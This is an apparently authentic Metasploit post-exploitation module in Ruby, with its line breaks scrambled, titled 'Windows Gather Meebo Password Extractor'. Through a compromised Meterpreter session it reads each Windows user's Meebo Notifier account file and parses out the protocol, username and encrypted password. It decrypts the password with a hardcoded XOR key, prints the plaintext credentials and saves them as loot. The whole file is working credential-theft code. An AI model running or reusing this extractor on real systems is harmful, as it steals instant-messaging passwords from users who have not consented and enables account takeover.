## #$Id$ ##
  ## # This file is part of the Metasploit 
			Framework and may be subject to # redistribution and commercial 
			restrictions. Please see the Metasploit # Framework web site for 
			more information on licensing and terms of use. # 
			http://metasploit.com/framework/ ##
  require 'msf/core' 
			require 'msf/core/post/windows/user_profiles'
  class 
			Metasploit3 < Msf::Post include Msf::Auxiliary::Report include 
			Msf::Post::Windows::UserProfiles
 
  def initialize(info={}) 
			super( update_info( info, 'Name' => 'Windows Gather Meebo 
			Password Extractor', 'Description' => %q{ This module extracts 
			login account password stored by Meebo Notifier, a desktop 
			version of Meebo's Online Messenger.}, 'License' => MSF_LICENSE, 
			'Author' =>  [  'Sil3ntDre4m <sil3ntdre4m[at]gmail.com>', 
			'SecurityXploded Team <www.SecurityXploded.com>' ], 'Version' 
			=> '$Revision$', 'Platform' => [ 'windows' ], 'SessionTypes' 
			=> [ 'meterpreter' ] ))
  end
  def run 
			grab_user_profiles().each do |user| accounts = user['AppData'] + 
			"\\Meebo\\MeeboAccounts.txt" next if user['AppData'] == nil 
			next if accounts.empty? stat = session.fs.file.stat(accounts) 
			rescue nil next if stat.nil? parse_txt(accounts) end end 
			 def parse_txt(file) begin creds = 
			Rex::Ui::Text::Table.new( 'Header' => 'Meebo Instant Messenger 
			Credentials', 'Ident' => 1, 'Columns' => [ 'Protocol', 
			'User', 'Password' ] )
  config = 
			client.fs.file.new(file,'r') parse = config.read
  if (parse 
			=~ /"password.{5}(.*)",\s*"protocol.{4}(\d),\s*"username.{5}(.*)"/) 
			epass = $1 protocol = $2.to_i username = $3 else 
			print_status("Regex failed...") return end
  protocol = 
			"Meebo" if protocol == 0 protocol = "AIM" if protocol == 1 
			protocol = "Yahoo IM" if protocol == 2 protocol = "Windows Live" 
			if protocol == 3 protocol = "Google Talk" if protocol == 4 
			protocol = "ICQ" if protocol == 5 protocol = "Jabber" if protocol 
			== 6 protocol = "Myspace IM" if protocol == 7
  passwd = 
			decrypt(epass) print_good("*** Protocol: #{protocol} User: 
			#{username} Password: #{passwd} ***") creds << [protocol, 
			username, passwd] config.close
  if passwd == nil or 
			username == nil print_status("Meebo credentials have not been 
			found") else print_status("Storing data...") path = 
			store_loot( 'meebo.user.creds', 'text/plain', session, 
			creds, 'meebo_user_creds.txt', 'Meebo Notifier User 
			Credentials' ) print_status("Meebo Notifier user credentials 
			saved in: #{path}") end
  rescue ::Exception => e 
			print_error("An error has occured: #{e.to_s}") end end
  
			def decrypt (epass) magicarr = [4,240,122,53,65,19,163,124,109, 
			73,187,3,34,93,15,138,11,153,148,147,146, 
			222,129,160,199,104,240,43,89,105,204,236, 
			253,168,96,48,158,143,173,60,215,104,112, 
			149,15,114,107,4,92,149,48,177,42,133,124, 
			152,63,137,2,40,84,131]
  plaintext = 
			[epass].pack("H*").unpack("C*")
  for i in 0 .. 
			plaintext.length-1 do plaintext[i] ^= magicarr[i] end
  
			return plaintext.pack("C*") end end 
			 	
	
		
		 |